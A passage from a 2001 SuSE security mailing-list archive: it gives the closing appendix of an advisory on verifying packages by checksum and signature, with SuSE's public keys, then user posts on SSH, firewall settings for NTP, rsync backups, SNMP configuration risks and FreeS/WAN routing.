group, a privilege that has been issued by the administrator for a trusted user group. This bug will be corrected in future releases of the SuSE Linux distribution. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de) the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an uninstalled rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the toplevel directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. =================================================== SuSE's security contact is <security(a)suse.com>. The <security(a)suse.com> public key is listed below. =================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the cleartext signature shows proof of the authenticity of the text. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 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 l2LBCXFqw5+5fA== =Jnnf - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBO5N83Xey5gA9JdPZAQGL3wf/Y9JWafwyYG1XUd5Li95aLdQ4zGDn2DbO o4iJonbvJd5ASsm0bkLIYCfoylkQh/Tc1VxXberIwUSf3NnJ/65kU+Lzn4jvTpMB PZm2QnK9VXukXbvibgamrbiDfSlySfoPD/jJWzTUnugJwZhLDIx3ZL0T9pHvUWOz i4VoK2o70z0dzKKb1YGRZQIaBCZHLm17yWMavEXewHCFJNMYfGT7s/ZajA7FFMXS gFzm7cE+RnykKeMG2Vf53/igoDFrHCiPr8wXEbJu5mbANH9MmGKIpQYdROwKodyk gAFUjXko2fdtkG5HFhlQWXvrHH/ZmZXzWWbp5g5DQ+Uqr3jW6t328A== =AmuR -----END PGP SIGNATURE----- -- ~ ~ perl self.pl ~ $_='print"\$_=\47$_\47;eval"';eval ~ krahmer(a)suse.de - SuSE Security Team ~

1 0

Re: [suse-security] ssh-incompatibility ?
by michael.ryan＠storm.ie 03 Sep '01

03 Sep '01

Install the OpenSSH rpm on the client and use it to connect to the server (afaik the SSH and OpenSSH versions are not compatible) Regards, Michael

1 0

personal firewall and netdate
by Brian Galbraith 03 Sep '01

03 Sep '01

Hi folks I don't know a lot about firewalls so please be gentle! I run the personal fire wall which meets my requirements admirably. However if I wish to set my system clock using netdate.....currently I turn the fire wall off ...log in....set the time...log off, switch on the firewall,and redial. Is there any way to change the personal fire wall to allow connection to the ntp server....and if so....what values do I change? TIA Brian -- Brian Galbraith | GnuPG 1.0.6 | SuSE Linux 7.2-2.4.9 PGP Key 0x8232434C http://www.culcreuch.org.uk ICQ# 110426381 Yahoo Messenger ID: bagalbraith

2 1

AW: [suse-security] automatic backups over ssh/scp
by My PC, Payreder Roman 03 Sep '01

03 Sep '01

Hi, Perhaps you could have a look at: http://freshmeat.net/projects/rsync-backup/ br, Roman * teo(a)gecadsoftware.com wrote on Sat, Sep 01, 2001 at 18:43 +0300: > > The permissions are important, too, imagine a world-writeable > > ~/.ssh or a not world-readble ~/public_html. > > but this is easily achived with --archive option. > as I understand it, the issue is when restoring from backups, > and given that that's a root task, I see no problems with it. Yep, that's it. root task on both sides! > when you backup with rsync, use -a to preserve ownership and > rights, recreate links BTW, I get often errors when rsync tries to create symlinks: file already exists... oki, Steffen -- Dieses Schreiben wurde maschinell erstellt, es trägt daher weder Unterschrift noch Siegel. -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

1 0

AW: [suse-security] rsync and automatics backups over ssh
by Reckhard, Tobias 03 Sep '01

03 Sep '01

> i am thinking for using rsync over ssh. > but i have a problem, the sys ask me for writting the ssh password. > there is any method using rsync and ssh for sending the password whitout > writte it? my plan is to use rsync over ssh in a cron. > I use public key authentication with a null passphrase for the private key on the client machine. Tobias

1 0

AW: [suse-security] ucd-snmpd default configuration
by Reckhard, Tobias 03 Sep '01

03 Sep '01

> SNMP is not only read but write typically. Community strings are often > easy > to guess, easier to sniff (cleartext). I suggest _heavilly_ firewalling > snmp > and maybe using ssh port forwarding or ipsec to encrypt it. > SSH won't help, as it can only perform port forwarding of TCP ports, AFAIK, while SNMP uses UDP only. I suggest a physically separate LAN or IPSec for SNMP (and syslog, BTW). And you should configure your SNMP server as tightly as possible. Make snmpwalk show only what it needs to. Cheers Tobias

1 0

ucd-snmpd default configuration
by Steffen Dettmer 02 Sep '01

02 Sep '01

Hi, I played around with MRTG which worked out-of-the-box. I just started rcsnmpd on the hosts and adjusted the firewalls to allow UDP:161 for the "monitor" host. Now the hosts run snmpd without configuration (at least it looks that there is no configuration file). I just started snmpd. Now I want to hear some statement about the risks. Since SNMP is very powerful, I fear that I opened some security leaks. OK, the firewalls are restrictive but I could sleep better if I could be sure that the default config garantes "read-only" accesses only. Second, snmpwalk reports really much things, but for MRTG I need the interface stats only. I looked for some example configuration files but they are complex to understand. Any sugesstions? Since I run SNMP now, I think about useing the check_snmp plugin with netsaint. I could imagine to check via snmp if i.e. the process "ypbind" is still running and so on. Is this secure? Or should I better not doing this? I would be glad if I could find anyone who uses check_snmp for more that checking snmpd itself. We could discuss this is little, but maybe this list is OT for that particular issue. I'm looking forward to any statements, thank you. oki, Steffen -- Dieses Schreiben wurde maschinell erstellt, es trägt daher weder Unterschrift noch Siegel.

2 2

once again FreeS/WAN tunnel established, no data transferred
by Stefan_Walther＠gehag-dsk.de 01 Sep '01

01 Sep '01

Hi folks, I recognize a problem at my side. You meant "strange routing". Now I see what you mean. The IP's of the first GW on eth0 must be 192.168.200.1 and the IP on the eth1 of the second GW must be 192.168.100.1. Now I see my fault. The IP's on the boxes where set this way I told to you in the sentence before. By the way, I have a look at /var/log/messages and saw the message IPSec SA established and tcpdump tells me that there are UDP:500-->500 packets are going through the router (ip-proto-50). MfG. Stefan Walther stefan_walther(a)gehag-dsk.de dienst.: +4930/89786448 Funk: +49172/3943961 ----- Forwarded by Stefan Walther/GEHAG DSK GmbH on 01.09.2001 16:41 ----- >hi folks, >I have the following problem. I have an established IPSec-tunnel between 2 boxes. >I'm using SuSE7.1 and FreeS/WAN 1.91. The FreeS/WAN tells me that the tunnel is established (last message in /var/log/messages). >My configuration is the following: >1st client-----1st-FreeS/WAN-gateway----ROUTER----2nd-FreeS/WAN-gateway------2nd-client > eth0--------------eth0------eth1----eth1-eth0----eth0--------eth1------eth0 >!Every box is a linux box! >The 1st client has the following config: RedHat7.1, IP: 192.168.200.2 >The 1st FreeS/WAN-gateway config is: SuSE 7.1, kernel 2.4.7, eth0: 192.168.100.1, eth1: 172.16.100.1, IP-forwarding without masquerading >The Router has the following config: SuSE7.1, kernel 2.4.7, eth1: 172.16.100.2, eth0 10.16.100.2, IP-forwarding without masquerading >The 2nd FreeS/WAN-gateway config is: SuSE7.1, kernel 2.4.7, eth0: 10.16.100.1, eth1: 192.168.200.1, IP-forwarding without masquerading >The 2nd client has the following config: Windows2000, eth (seems to be a littlebit stupid): 192.168.100.2 >Every netmask is 255.255.255.0; >If i start ipsec via, ipsec start at the shell, no error (exept the IPv6-bind error) occured. >Before starting IPSec the routes, the the clients can pinging each other are set by hand. FreeS/WAN sets the routes to the ipsec0 interface. >After starting you cannot ping anymore from the 1st client to the 2nd client ans the other way around. Does anybody know a solution for this problem??? >THX MfG. Stefan Walther stefan_walther(a)gehag-dsk.de dienst.: +4930/89786448 Funk: +49172/3943961

1 0